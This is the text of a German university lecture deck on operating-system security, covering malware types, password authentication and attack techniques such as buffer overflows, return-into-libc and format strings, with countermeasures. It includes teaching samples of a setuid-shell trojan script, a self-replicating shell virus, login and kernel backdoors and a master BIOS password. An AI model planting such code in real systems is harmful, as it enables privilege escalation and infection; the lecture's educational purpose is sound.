Teil 7: Betriebssysteme

Vorlesung Betriebssysteme II
Thema 7: Betriebssysteme-Sicherheit
Robert Baumgartl
18. Mai 2015
1 / 109
Überblick
I
Grundbegriffe
I
Bösartige Software
I
Authentifizierungsmechanismen
Angriffstechniken:
I
I
I
I
I
Buffer Overflow
Return-into-Libc
Format String Exploit
Angriffscode (Shellcode)
2 / 109
Grundbegriffe
Ziele der Systemsicherheit
Ziel
Bedrohung
Vertraulichkeit
Ausspionieren der Daten
Datenintegrität
Datenmanipulation
Systemverfügbarkeit
Denial of Service
Tabelle: Sicherheitsziele und deren Bedrohungen
eng verwandt:
I
Datenschutz – Verhinderung des Missbrauchs
personenbezogener Daten
3 / 109
Grundbegriffe
Bedrohungen
Vier Kategorien:
Quelle
Ziel
Quelle
Unterbrechung
ungestörter Informationsfluß
Quelle
Ziel
Abfangen der Information
Quelle
Ziel
Quelle
Ziel
Modifizieren der Information
I
Interruption:
z. B. Denial-of-Service,
I
Interception: Angriff auf
Vertraulichkeit
I
Modification: Angriff auf
Integrität,
z. B. Man-in-the-Middle
Attack
I
Fabrication (Forging):
z. B. Einfügen gefälschter
Objekte in System
Ziel
Fälschen der Information
Abbildung: Szenarien
4 / 109
Überblick
Bösartige Software
Wirtsprogramm nötig
unabhängig
Hintertüren
Logische Bomben
Viren
Würmer
Trojanische Pferde
verbreiten sich selbständig
Abbildung: Mögliche Kategorisierung bösartiger Software
I
I
lokale vs. entfernte Angriffe
on-line- vs. off-line-Angriffe
5 / 109
Logische Bomben
Idee: Implantierung „bösartigen“ Codes in Applikationen (oder
in das BS), Aktivierung des Codes, sobald eine bestimmte
Aktivierungsbedingung erfüllt
I
Aktivierungsbedingung Eintritt eines Datums → (logische)
„Zeitbombe“ (Kalender von Aktivierungsdaten:
http://vil.nai.com/vil/calendar /virus_calendar.aspx)
I
meist simples Löschen von Daten
I
häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben
6 / 109
Ausschnitt aus dem McAfee-Aktivierungskalender
12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,
VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A
(Intended), WM/Eraser.A:Tw, VBS/Aqui
13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,
WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,
WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,
WM/Goldsecret.B:Int,WM/CVCK1.B;E,
W97M/Rapmak.a, W97M/Yous, W97M/Alamat,
WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,
W97M/Digma
14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,
W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,
WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,
W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,
VBS/Aqui
15. Mai . . .
7 / 109
Hintertüren (Back Doors)
Idee: Einbau (nichtdokumentierter) Schnittstellen in Software
zwecks späterem (unautorisiertem) Zugriff auf das System.
I
Mißbrauch von geheimen Debugging-Schnittstellen
I
schwierig von BS-Seite aus zu erkennen
I
häufiges Relikt aus der Produktentwicklung
I
Behörden sind häufig der Meinung, ein Anrecht auf
Hintertüren zu haben
I
Gegenmaßnahme: Code Reviews, Open Source
I
symmetrische vs. asymmetrische Hintertüren
I
viele Würmer installieren Back Doors
I
Klassiker: Back Orifice
(http://www.cultdeadcow.com/tools/bo.php)
I
feste Master-BIOS-Passworte, z. B. lkwpeter bei Award
BIOS
8 / 109
Beispiel einer Hintertür
Beispiel: Login-Code mit Hintertür1
while (TRUE) {
printf("login: ");
get_string(name);
disable_echoing();
printf("password: ");
get_string(password);
enable_echoing();
v = check_validity(name, password);
if (v || strcmp(name, "zzzzz") == 0)
break;
}
execute_shell(name);
1
Andrew S. Tanenbaum. Modern Operating Systems. 2. Aufl.
Prentice-Hall, 2001, S. 610.
9 / 109
Beispiel 2 (Backdoor im Linux-Kern; nice try)
From: Larry McVoy [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 14:23:02 -0800
On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> Out of curiosity, what were the changed lines?
--- GOOD
2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+
retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
--Larry McVoy
lm at bitmover.com
10 / 109
Beispiel 2 (Backdoor im Linux-Kern; nice try)
I
jemand modifizierte die Kernelquellen (unautorisiert)
I
fraglicher Code gehört zu sys_wait4(), d. h. dem
Systemruf wait4()
I
„verkleideter Code“; current->uid = 0 sieht so ähnlich
aus wie current->uid == 0
I
wenn jemand wait4() aufruft und die Optionen
__WCLONE und __WALL sind gesetzt, so wird der Rufende
root
I
Code wurde beim Review entdeckt (“It’s not a big deal, we
catch stuff like this, but it’s annoying to the CVS users.”)
11 / 109
Trojanische Pferde („Trojaner“)
Idee: dem Nutzer ein Programm unterschieben, welches bei
Aktivierung unerlaubte Aktionen ausführt
I
anstelle eines Eindringlings führt ein autorisierter Nutzer
Schadcode aus
I
Beispiel: gefälschter Login-Bildschirm
I
Klassiker: Compiler, der unbemerkt bösartigen Code in
übersetzte Programme einbaut2
I
vgl. „Bundestrojaner“
2
Ken Thompson. “Reflections on Trusting Trust”. In: Communications of
the ACM 27.4 (Aug. 1984), S. 761–763.
12 / 109
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
13 / 109
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
14 / 109
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
15 / 109
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
16 / 109
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
17 / 109
(Computer)-Viren
“A virus is a program that is able to infect other
programs by modifying them to include a possibly
evolved copy of itself.” (Fred Cohen)
einige Varianten:
I
Stealth-Viren
I
polymorphe Viren
I
Bootsektor-Viren
I
Macro-Viren
18 / 109
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
leicht zu analysieren ;-)
19 / 109
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
leicht zu analysieren ;-)
20 / 109
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
leicht zu analysieren ;-)
21 / 109
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
leicht zu analysieren ;-)
22 / 109
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
leicht zu analysieren ;-)
23 / 109
Ein (etwas) besserer Virus
for i in *.sh; do
if test "./$i" != "$0"; then
HOST=$(echo -n $(tail -10 $i))
VIR=$(echo -n $(tail -10 $0))
if [ "$HOST" != "$VIR" ]
then
tail -n 10 $0 | cat >> $i;
fi
fi
done
24 / 109
Würmer
“An independently replicating and autonomous
infection agent, capable of seeking out new host
systems and infecting them via the network.”
(Jose Nazario. Defence and Detection Strategies
against Internet Worms. Artech House, 2004)
Bekannte Vertreter:
I
W32.Blaster
I
Melissa
I
Mydoom
I
Sasser
I
Conficker
25 / 109
Komponenten eines Wurms
1. Aufklärung neuer Hosts als potentielle Angriffsziele
I
I
I
IP-Adreßräume (partiell) durchsuchen
lokale Suche in (z. B.) Konfigurationsdateien
OS Fingerprinting, um BS-Typ und -Version zu ermitteln
2. Angriffscode
I
I
I
Remote Exploit bekannter Schwachstellen
Trojanisches Pferd (z.B. Mail mit attached Binary)
benötigt für jede anzugreifende Plattform Exploit
3. Kommunikation
I
I
I
z. B. mittels ICMP, UDP, . . . , E-Mail
über verdeckte Kanäle
Verbergen beteiligter Prozesse und Sockets mittels
Kernelmodul oder durch Störung von
Überwachungssoftware
26 / 109
Komponenten eines Wurms
4. Kommandoschnittstelle
I
I
interaktiv oder indirekt (script-gesteuert)
typische Kommandos: Up-/Download von Dateien,
Flut-Ping, Generierung von HTTP-Requests, . . .
5. Verwaltung der erfolgreich angegriffenen Hosts
I
I
I
verteilte oder zentralisierte Datenbank
Liste aller befallenen Rechner
in privatem IRC-Channel
27 / 109
Rootkits
Def. Ein Rootkit ist ein (üblicherweise unerwünschtes)
Programm, das sich nach Installation vor dem Nutzer verbirgt.
Merkmale:
I Installation typischerweise nach erfolgreichem Einbruch,
um Einbruchszweck abzusichern, z. B.:
I
I
I
dauerhafte Unterwanderung des Systems
Diebstahl von Passwortdaten per Keylogger oder Sniffer
verschafft sich keine root-Privilegien, sondern benötigt
diese bei Installation
Eintrittsvektoren:
I
versehentliches Ausführen
I
physischer Zugriff des Angreifers auf System
I
Einbruch via Netzwerk
28 / 109
Rootkits
dateibasierte vs. kernelbasierte Rootkits
1. dateibasierte Rootkits
I
tauschen Werkzeuge aus, die zur Detektion des Rootkits
genutzt werde könnten (ssh, ps, ls, netstat)
I
Unterart: Library Rootkits: tauschen die entsprechenden
Systembibliotheken aus
I
laufen im User Mode
2. kernelbasierte Rootkits
I
modifizieren (Überraschung!) den Kernel z. B. über
Modulmechanismus oder Speicherabbild (/dev/kmem)
I
äußerst schwierig zu detektieren
29 / 109
Rootkits
Gegenmaßnahmen
1. Unrechtmäßigen root-Zugriff verhindern
2. Unrechtmäßigen root-Zugriff verhindern (again!)
3. Deaktivierung des Modulmechanismus (→ alle Treiber
statisch in den Kernel kompiliern)
4. Vergleich nach außen geöffnete Ports (netstat) mit
externem Portscan (nmap) → Achtung, „Hackertool“!
5. Suche nach charakteristischen Zeichenketten im
Hauptspeicher (Werkzeug chkrootkit)
6. Boot von sauberem Datenträger (Live-CD) und Suche
nach „verdächtigen“ Dateien
30 / 109
Authentifizierung
= Identifizierung von Nutzern durch einen Host-Rechner
I
Eingabe eines Passwortes bei der Anmeldung
I
Prüfung des eingegebenen Passwortes durch Host
I
Host muß das Passwort nicht kennen (→ kein Diebstahl
z. B. durch Administrator möglich)
I
Stattdessen: Nutzung von Einwegfunktionen
Protokoll:
1. Nutzer übermittelt dem Host Passwort
2. Der Host wendet eine Einwegfunktion auf das Passwort an.
3. Der Host vergleicht das Ergebnis mit dem Wert, der beim
Anlegen des Zugangs gespeichert wurde.
31 / 109
Mögliche Angriffe auf den Vorgang der
Authentifizierung
I
Ausspähen des Passwortes
I
Social Engineering
I
Erraten des Passwortes
I
Wörterbuchangriff
I
Brute Force
32 / 109
Erraten des Passwortes
Ein legendärer Einbruch im Lawrence Berkeley Laboratory
(Clifford Stoll. Kuckucksei. Fischer, 1989):
LBL> telnet elxsi
Elxsi at LBL
login: root
password: root
incorrect passwort, try again
login: guest
password: guest
incorrect passwort, try again
login: uucp
password: uucp
WELCOME TO THE ELXSI COMPUTER AT LBL
I
bei gut gewarteten Systemen heute nahezu aussichtslos
33 / 109
mein eigener PC (idir) /var/log/auth.log, Ausschnitt
Apr 5 14:44:35 idir sshd[14612]:
.99.106.4 port 40799 ssh2
Apr 5 14:44:39 idir sshd[14620]:
42116 ssh2
Apr 5 14:44:43 idir sshd[14630]:
43885 ssh2
Apr 5 14:44:44 idir sshd[14640]:
Apr 5 14:44:46 idir sshd[14640]:
99.106.4 port 45676 ssh2
Apr 5 14:44:47 idir sshd[14648]:
Apr 5 14:44:49 idir sshd[14648]:
99.106.4 port 47395 ssh2
Apr 5 14:44:51 idir sshd[14656]:
Apr 5 14:44:53 idir sshd[14656]:
m 93.99.106.4 port 48814 ssh2
Apr 5 14:44:54 idir sshd[14666]:
Apr 5 14:44:56 idir sshd[14666]:
99.106.4 port 50581 ssh2
Apr 5 14:44:58 idir sshd[14674]:
Apr 5 14:45:00 idir sshd[14674]:
93.99.106.4 port 51972 ssh2
Apr 5 14:45:01 idir sshd[14684]:
Apr 5 14:45:03 idir sshd[14684]:
93.99.106.4 port 53530 ssh2
Apr 5 14:45:05 idir sshd[14692]:
Apr 5 14:45:07 idir sshd[14692]:
99.106.4 port 55065 ssh2
Apr 5 14:45:10 idir sshd[14702]:
56829 ssh2
Apr 5 14:45:11 idir sshd[14710]:
Apr 5 14:45:13 idir sshd[14710]:
.99.106.4 port 60192 ssh2
Apr 5 14:45:15 idir sshd[14718]:
Apr 5 14:45:17 idir sshd[14718]:
Failed password for invalid user admin from 93
Failed password for root from 93.99.106.4 port
Failed password for root from 93.99.106.4 port
Invalid user test from 93.99.106.4
Failed password for invalid user test from 93.
Invalid user test from 93.99.106.4
Failed password for invalid user test from 93.
Invalid user webmaster from 93.99.106.4
Failed password for invalid user webmaster fro
Invalid user user from 93.99.106.4
Failed password for invalid user user from 93.
Invalid user username from 93.99.106.4
Failed password for invalid user username from
Invalid user username from 93.99.106.4
Failed password for invalid user username from
Invalid user user from 93.99.106.4
Failed password for invalid user user from 93.
Failed password for root from 93.99.106.4 port
Invalid user admin from 93.99.106.4
Failed password for invalid user admin from 93
Invalid user test from 93.99.106.4
Failed password for invalid user test from 93.
34 / 109
Wörterbuchangriff (Dictionary Attack)
Idee:
I Offline-Generierung einer Liste aus Einträgen mit
I
I
potentielles Passwort
potentielles Passwort, verschlüsselt
I
alle möglichen Worte, Namen, Bezeichner usw. mittels der
Einwegfunktion des Betriebssystems verschlüsseln
I
Diebstahl der Passwortdatei
I
Vergleich der verschlüsselten Wortliste mit den Hashes
aus der Passwortdatei
I
Bei Übereinstimmung ist das unverschlüsselte Passwort
der entsprechende Eintrag aus der Wortliste
→ Werkzeug john, the Password Cracker
35 / 109
Erschwerung des Wörterbuchangriffes mittels Salz
I
Passwort wird vor Verschlüsselung mit einer Zufallszahl
konkateniert (dem Salz)
I
Salz wird mit in der (geheimen) Passwortdatei gespeichert
I
bei genügend großer Anzahl möglicher Hash-Werte wird
ein Wörterbuchangriff unmöglich
I
Mallory müßte zu jedem Wort alle möglichen Salz-Werte
durchprobieren
36 / 109
Beispiel: Bibliotheksfunktion crypt()
char *crypt(const char *key, const char *salt);
„crypt() is the password encryption function. It is
based on the Data Encryption Standard algorithm with
variations intended (among other things) to discourage
use of hardware implementations of a key search.“
I
key zeigt auf die (unverschlüsselte) Passphrase
I
salt ist Zeiger auf Salz (zweibuchstabige Zeichenkette)
I
Resultat: DES-verschlüsselter Passworthash
I
moderne Implementierungen bieten bessere
Hashverfahren (z. B. SHA-512)
37 / 109
Weitere Gegenmaßnahmen gegen Wörterbuchangriff
I
möglichst keine Hinweise auf Länge des PW (’*’ u. ä.) in
der Eingabemaske
I
möglichst kein Hinweis, ob NKZ gültig oder nicht
I
Verzögerung nach jedem erfolglosen Anmeldeversuch
periodisches Erneuern der Passworte:
I
+ gecrackte PW werden automatisch ausgetauscht
− nachteilig, daß Nutzer ständig neue PW lernen müssen
38 / 109
Challenge-Response zur Authentifizierung
Ablauf:
1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen
2. Bob sendet eine Zufallszahl („Nonce“ - (random) number,
used once) an Alice ≡ Challenge
3. Alice verschlüsselt die Nonce mit ihrem Passwort und
schickt das Chiffrat an Bob ≡ Response
4. Bob verschlüsselt die Nonce ebenfalls mit Alice’ Passwort
(d. h., Bob muss Alice’ Passwort kennen)
5. ist das Chiffrat gleich der Antwort von Alice, so wird
Zugang gewährt
39 / 109
Beispiel: Authentifizierung in Windows
I
Authentifizierungsprotokoll NTLM - NT Lan Manager
I
zum großen Teil reverse-engineered
I
liegt mittlerweile offen
Grobablauf:
1. Client (Nutzer) schickt eine sog. Type-1-Nachricht an den
Server, die verschiedene Parameter der Authentifizierung
festlegt
2. Server (Host) antwortet mit einer Type-2-Nachricht, die
u. a. eine 8 Byte lange Nonce enthält
3. Client verschlüsselt die Nonce mit seinem Passwort als
Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server
I
I
konkretes Verfahren hängt von den zuvor ausgehandelten
Parametern ab
es wird MD4, MD5 und DES eingesetzt
Literatur: http://davenport.sourceforge.net/ntlm.html
40 / 109
Sicherheit von NTLM
Stellen
6
6
8
8
8
11
Zeichenraum
A-Za-z0-9
A-Za-z0-9, 22 SZ
A-Za-z0-9
A-Za-z0-9, 22 SZ
A-Za-z0-9, alle SZ
A-Za-z
Dauer
1 min
6 min
2 d, 17 h
33 d
82 d
270 a
Tabelle: Maximale Dauer der Ermittlung von NTLM-Passworten
mittels „Distributed Password Recovery“ (ElcomSoft)
22 SZ = typische Sonderzeichen, d.h.
_@#$&+-=%*"~!?.,:;()<>
I genutztes System: AMD Athlon X2 4850e, 2 Nvidia
GeForce 9800 GTX
(Stefan Arbeiter und Matthias Deeg. “Bunte Rechenknechte”.
In: c’t 6 (2009), S. 204–206)
I
41 / 109
Authentifizierung mit physischen Objekten
I
I
Schlüssel
Chipkarten
I
I
passiv – “Stored Value Cards”, z.B. Telefonkarten
aktiv – “Smart Cards”, ausgerüstet mit 8-Bit-CPU, Scratch
RAM, ROM, EEPROM
Server
PC
1. Challenge an Smart Card
3. Response an Server
Smart
Card
2. Smart Card errechnet Antwort
Abbildung: Nutzung einer Smartcard zur Authentifizierung
42 / 109
Angriffstechniken
43 / 109
Buffer Overflow
(Sehr einfaches) verwundbares Programm
# i n c l u d e < s t d i o . h>
i n t main ( i n t argc , char ∗ argv [ ] )
{
char b u f f e r [ 5 1 2 ] ;
i f ( argc > 1 ) {
s t r c p y ( b u f f e r , argv [ 1 ] ) ;
}
return 0;
}
44 / 109
Buffer Overflow
Prinzip
I
bestimmte Funktionen der C-Bibliothek führen keine
Längenprüfung ihrer Argumente aus (Klassiker:
strcpy())
I
Idee: lokale Variablen (über deren Länge hinaus) mit einer
solchen Funktion überfluten (Stack Overflow)
I
Überschreiben der Rückkehradresse auf dem Stack mit
Adresse einer Schadroutine
I
bei Verlassen der aktuellen Funktion → Sprung zur
Schadroutine
I
Ursache: mögliches Verlassen von Feldgrenzen in C,
ungeprüfte Länge der Argumente von
Bibliotheksfunktionen wie strcpy() oder gets(),
gezielte Manipulation von Zeigervariablen
45 / 109
Stack Overflow
hohe Adressen
...
Ausschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
niedrige
Adressen
...
Puffer
46 / 109
Stack Overflow
hohe Adressen
...
Ausschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
niedrige
Adressen
...
Puffer
47 / 109
Stack Overflow
hohe Adressen
...
Ausschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
niedrige
Adressen
...
Puffer
48 / 109
Stack Overflow
hohe Adressen
...
Ausschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
niedrige
Adressen
...
Puffer
49 / 109
Stack Overflow
hohe Adressen
...
Ausschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
niedrige
Adressen
...
Puffer
50 / 109
Buffer Overflow
Einfache Gegenmaßnahmen
I
Verzicht auf unsichere Funktionen, u.a. strcpy(),
strcat(), sprintf(), vsprintf(), gets() bzw.
Nutzung der Pendants mit Bereichsprüfung, aber:
I
I
I
Semantik nicht übereinstimmend (z. B. nullterminiert
strncpy() das Ziel nicht bei maximal langem String)
Geschwindigkeitsnachteile
Legacy Code?
51 / 109
Buffer Overflow
I
Funktionsparameter
Canary Word wird im
Funktionsprolog
angelegt
I
Overflow überschreibt
Canary
I
beim Rücksprung aus
Funktion wird Canary
auf Integrität getestet
I
hohe Adressen
<Ret>
Canary
SFP
lokale Variablen
Puffer
niedrige
Adressen
...
Idee: Schutz der Rücksprungadresse durch zusätzliches Canary Word.
...
Stackguard
Abbruch, wenn falscher
Wert
52 / 109
Buffer Overflow
Wahl des Canary Word
I
Terminator Canary – Werte nutzen, die typische
Zeichenkettenfunktionen terminieren
Wert
Symbol
0x00
0x0a
0x0d
-1
LF
CR
EOF
Semantik
stoppt strcpy()
stoppt gets()
stoppt gets()
Tabelle: Terminator Canary
optimal ist z. B. 0x000d0aff
I
Random Canary – erst zum Programmstart generiert;
Angreifer kann darauf nicht mehr reagieren (Angreifer läuft
parallel zum angegriffenen Programm)
53 / 109
Stackguard
Grenzen des Konzepts
I
moderate Leistungseinbuße
I
Lokale Variablen und Saved Frame Pointer nicht geschützt
I
Canary Word u. U. durch Angreifer restaurierbar, wenn
statisch
I
vgl. „Bulba“ and „Kil3r“. “Bypassing Stackguard and
Stackshield”. In: Phrack 10.56 (Jan. 2000). URL: http:
//www.phrack.org/issues/56/5.html#article
54 / 109
StackShield
Idee:
1. Rücksprungadresse im Prolog in eine extra Tabelle
kopieren
2. im Epilog Kopie der Rücksprungadresse wieder an
entsprechende Position im Stack schreiben
3. keine Prüfung auf Identität
55 / 109
Ausführungsverbot beschreibbarer Seiten (W⊕X )
Einfachster Fall: Architektur unterstützt Execute-Recht im
Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64)
Problem: IA32 tut dies nicht.
Lösung 1: NX („No-Execute“) aka „Enhanced Virus Protection“
I
erfordert Physical/Page Address Extension (PAE) –
existiert eigentlich ab Pentium Pro
I
NX jedoch erst ab Prescott-Kern (Intel), AMD64
I
Seitentabelleneintrag 64 Bit (anstatt 32)
I
Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB
I
nur noch 1/4 der Einträge → drittes Hierarchielevel
(vgl. folgende Grafik)
I
gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit)
I
Bit 63 ist das (No)-Execute-Bit
56 / 109
Adressumsetzung bei PAE
31−30 29...21
PTR
Dir
20...12
Table
11...0
Offset
lineare
Adresse
CR3
PageDirPt1
PageDirPt2
PageDirPt3
PageDirPt4
gewähltes Byte
PD−Eintrag
gewählte
Seite
PTE
Page Directory
Pointer Table
Page Directory
512 Einträge
Page Tables
512 Einträge
NX−Bit (63)
physischer Adreßraum
57 / 109
Ausführungsverbot beschreibbarer Seiten (W⊕X ) II
Lösung 2: Emulation in Software
I
alle PTEs der zu schützenden Bereiche (Stack, Heap,
Daten) haben initial Supervisor-Bit gesetzt
I
→ Pagefault bei Zugriff
Handler:
I
I
I
bei Instruction Fetch → Abbruch der Task, Logging des
Angriffs
bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen
(Überführung der Übersetzung in Data-TLB), Setzen des
SV-Bits
I
weitere Datenzugriffe durch DTLB gecacht
I
nur möglich, wenn getrennte Daten- und Code-TLBs
58 / 109
Ausführungsverbot beschreibbarer Seiten
Einbau in Betriebssysteme:
I
Linux ab 2.6.8
I
Windows XP ab SP2; kein Backport nach Windows 2000
I
PaX-System, vgl. http://pax.grsecurity.net
59 / 109
Address Space Layout Randomization (ASLR)
Beobachtung: Distanz zwischen Top-of-Stack (TOS) und
anzugreifender Rücksprungadresse ist konstant, wird offline
(werkzeuggestützt) erraten und in Exploit eingebaut.
Idee: Anfangsadressen von Stack, Heap und Code werden
zufällig zur Ladezeit generiert.
Problem: eingeblendete shared Libraries – müssen auch
zufällig verteilt werden
$ cat /proc/self/maps | grep libc
I
erschwert auch return-into-libc-Exploits
60 / 109
Return-into-Libc
I
Manipulation einer Rückkehradresse auf dem Stack mittels
Buffer Overflow
I
jedoch („Rück“-)Sprung in eine Shared Library (libc)
anstatt zu eigenem Shellcode (Abb. nächste Folie)
I
Beispiel: system("/bin/sh");
(führt /bin/sh -c /bin/sh aus)
I
wenn angegriffenes Programm setuid root ist, wird damit
eine root-Shell geöffnet
I
macht nichtausführbaren Stack wirkungslos
61 / 109
Stacklayout bei Return-into-Libc
Argumente der (angegriffenen) Funktion
originaler Stack:
lokale Variablen
sfp
RET
arg0 arg1 arg2
High
Rückkehradresse aus libc−Ruf
manipulierter Stack:
Argument 0 des libc−Rufes
Überflutung
sfp
Adr
in
libc
dummy
Low
arg0
"/bin/sh"
system()
{
...
Code in der libc
}
62 / 109
Anmerkungen
I
dummy-Feld ist „Rückkehradresse“, die angesprungen
wird, wenn system() verlassen wird
I
irrelevant, wenn interaktive Shell gestartet wurde, da diese
nicht zurückkehrt
63 / 109
Bestimmung der Einsprungadresse (statisch)
robge@hadrian$ cat dummy.c
int main()
{
system();
}
robge@hadrian$ gcc -o dummy dummy.c
robge@hadrian$ gdb -q dummy
Using host libthread_db library "/lib/tls/i686/cmov/libthread_d
(gdb) break main
Breakpoint 1 at 0x8048362
(gdb) run
Starting program: /home/local/robge/src/cracking/dummy
Breakpoint 1, 0x08048362 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ed8990 <system>
Gegenmittel: Address Space Layout Randomization,
Parameterübergabe in Registern (ELF64-SystemV ABI bei
x86-64)
64 / 109
Dynamische Ermittlung der Einsprungadresse
Idee:
I
Sohn erzeugen, der kontinuierlich system("") aufruft
I
Instruction Pointer springt zwischen main() und
system() (libc-Funktion)
I
mittels ptrace() kann die genaue Adresse von
system() bestimmt werden
... Code ansehen . . .
65 / 109
Verkettung zweier libc-Rufe
Argumente der (angegriffenen) Funktion
originaler Stack:
Low
lokale Variablen
sfp
RET
arg0 arg1 arg2
High
"dummy"
manipulierter Stack:
Überflutung
sfp
Adr1
in
libc
Adr2
in
libc
arg0
arg0
für
für
setuid system
"/bin/sh"
setuid()
{
...
}
=0x01010101 o.ä.
system()
{
...
}
66 / 109
Verkettung zweier libc-Rufe
I
Reihenfolge setuid() → system()
I
setuid(0) leider unmöglich, da Pufferüberlauf damit
vorzeitig abbrechen würde
I
nur möglich, wenn erster libc-Aufruf genau ein Argument
übernimmt (dummy-Lücke)
I
weitere Rufe nicht möglich
67 / 109
Return-into-Libc-Angriff
Weitere Techniken
I
mehr als 2 libc-Aufrufe mit beliebig vielen Argumenten (!!)
I
I
I
Frame Pointer Lifting
Frame Faking
Nullbytes im angegriffenen Puffer ebenfalls möglich
Literatur: “Nergal”. “The advanced return-into-lib(c) exploits:
PaX case study”. In: Phrack 11.58 (Dez. 2001). URL:
http://www.phrack.org/issues/58/4.html#article
68 / 109
Format String Exploits
69 / 109
Wie funktioniert eigentlich printf()?
int printf(const char *format, ...);
I
zeichenweises Kopieren des Format-Strings nach stdout
I
%-Platzhalter wird durch TOS (Top of Stack) ersetzt, das
entsprechend formatiert wird (SP wird entsprechend
angepaßt)
I
%s: ZK, auf die TOS verweist, wird ausgegeben (terminiert,
wenn \0 gelesen)
I
%n: schreibt Anzahl bereits ausgegebener Bytes in
Variable, auf die TOS verweist (Schreiboperation auf
Stack!)
I
→ keine Prüfung auf Art und Anzahl der Argumente zur
Übersetzungszeit möglich
70 / 109
Beispiel für Nutzung von printf()
printf-ex.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char string[7] = "sample";
int A = -72;
unsigned int B = 31337;
int count_one, count_two;
/* Example of printing with different format string */
printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A);
printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B);
printf("[field width on B] 3: ’%3u’, 10: ’%10u’, ’%08u’\n", B, B, B);
printf("[string] %s Address %08x\n", string, string);
/* Example of unary address operator and a %x format string */
printf("count_one is located at: %08x\n", &count_one);
